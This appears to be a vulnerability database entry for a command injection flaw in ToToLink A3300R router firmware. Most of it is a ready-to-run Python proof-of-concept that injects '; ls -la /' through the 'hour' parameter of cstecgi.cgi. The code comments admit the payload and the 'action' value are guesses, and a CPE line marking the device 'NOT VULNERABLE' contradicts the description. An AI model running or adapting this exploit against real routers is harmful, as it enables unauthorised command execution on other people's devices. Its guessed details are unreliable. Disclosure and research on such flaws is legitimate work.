An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the hour parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(target_ip):
url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
# Injecting a command to list files, typically the payload format depends on the specific firmware logic
# Common payload for command injection includes ';' or '|' or '&'
payload = "; ls -la /"
# Data payload based on the vulnerability description mentioning 'hour' parameter
data = {
"hour": payload,
"action": "0" # Placeholder action, might vary based on specific endpoint requirement
}
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent to {target_ip}")
print(f"[+] Response body:\n{response.text}")
else:
print(f"[-] Failed, status code: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
target = "192.168.0.1" # Replace with target IP
exploit(target)